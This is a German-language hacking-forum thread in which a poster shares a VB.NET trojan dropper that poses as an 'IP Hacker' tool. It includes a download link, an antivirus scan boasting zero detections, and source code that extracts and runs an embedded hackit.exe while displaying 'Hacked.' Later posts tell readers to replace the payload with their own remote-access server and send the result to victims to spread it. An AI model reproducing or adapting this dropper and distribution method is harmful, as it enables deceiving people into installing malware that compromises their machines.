Ip Hacker / Trojan Dropper

[LeadOr]

Ich code noch nich lange (3 tage oderso^^)
und hab hier maln bissle was zusammengeschuster vlt mag des einer gebrauchen :>



Was kann es:
-Sieht aus wie ein IP Hacker
-Dropped eine hackit.exe in C:\Windows
-Führt diese aus

So könnt ihr eure server spreaden :> ihr könnt aber auch das design ändern und daraus was anderes machen.

falls müll in der source steht war mir das jetzt egal hab nich aufgeräumt ^^
und es ist defintiv nicht mit irgendwelche krassen abfrage variablen oder sonst übelsten coder kenntissen gecoded^^

//Update
http://rapidshare.com/files/221774375/Hacker.rar

Mit server gebunden sogar st fud^^ was aber eig klar is
http://scanner.novirusthanks.org/ind...40813114209832

File Info

Report generated: 16.4.2009 at 0.14.26 (GMT 1)
Filename: IPHACKER.exe
File size: 96 KB
MD5 Hash: 2430E42453FD7346E76B6B5377A461FE
SHA1 Hash: 3630FD4D5B2725F1E68FAC8A221C3DBC910EB396
Packer detected: Microsoft Visual C# / Basic .NET
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
NoVirusThanks.org

[DarkFire]

Wird auf Vista nicht funktionieren du für das "droppen" auf C:\ Adminrechte gebraucht werden.

[LeadOr]

also bei mir gehts :/ aber das wusste ich nich
dann bin ich wohl admin ...^^

[inmate]

machen jetzt alle sowas ,

dann mach ich auch noch eins

aber sonst nice

[LeadOr]

thx funtz nat noch nich so toll hab z.b kp wie ich ne titlebar code ^^ die normale windowsbar sieht kacka aus

[hpoc]

3 Tage? Ist VB wirklich so einfach?

[LeadOr]

hm naja einfach is sicher was anderes es ist ja kein richtiger ip hacker xD
ausserdem lern ich vb nicht.

ich such mir dass was ich gerade brauche und versuchs zu verstehen und abzuändenr etc.

ich geh ja nich nach buch vor. die konrete vorgensweise des vb codes is ja nich so schwer also selber sachen coden wie einfacherer dinge übergabe von texten etc is schnell gelernt.

wobei ich auch zugeben muss der code des überprüfens ist reinkopiert da steig ich nochnicht soganz durch aber da bin ich dran

EDIT: hm ich merk grad das der auf xp garnich geht weil der ordner ja anders heißt -.- naja mussman dann halt ändenr bzw special folder als apppath setzen oderso ^^

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
            Handles Button1.Click
        If TextBox1.Text = "Enter IP" Then
            MessageBox.Show("Please enter IP")
            Exit Sub
        End If
        If TextBox1.Text = "" Then
            MessageBox.Show("Please enter Ip")
            Exit Sub
        End If

        Dim AppPath As String = My.Computer.FileSystem.SpecialDirectories.Temp

        If AppPath.EndsWith("\") = False Then AppPath &= "\"
        AppPath &= "\hackit.exe"

        Dim Result As Boolean = Hacker("IPHACKER.hackit.exe", AppPath)
        Select Case Result
            Case True
                MessageBox.Show("Hacked.", "Info")
            Case Else
                MessageBox.Show("Can't hack IP!.", "Info")
        End Select

        Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim datei As String = "hackit.exe"


        If Path.Combine(del, datei) <> "" Then
            Dim TaskID As Long
            TaskID = Shell(Path.Combine(del, datei), vbNormalNoFocus)
        Else
            MessageBox.Show("ERROR!")
        End If

    End Sub

close button löscht nun die datei wieder

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim datei As String = "hackit.exe"
        If File.Exists(Path.Combine(del, datei)) Then
            Kill(Path.Combine(del, datei))

        End If
        Me.Close()
    End Sub

so edited läuft

[Grim-Reaper]

Danke, kann ich vllt. irgendwann gebrauchen.

[inmate]

hmm aber eins verstehe ich nicht.

wie soll ich damit meinen server spreaden können


es müsste ja ne bind funktion haben wenns etwas droppt ^^


oder habe ichs nicht verstanden :o

lG

inmate

[LeadOr]

ich kann kein binder coden^^ ersetze deinen hackit.exe mit deinem server und kompilier das ganze verschick das ding als 1clickhacktool und schon is der server gespreaded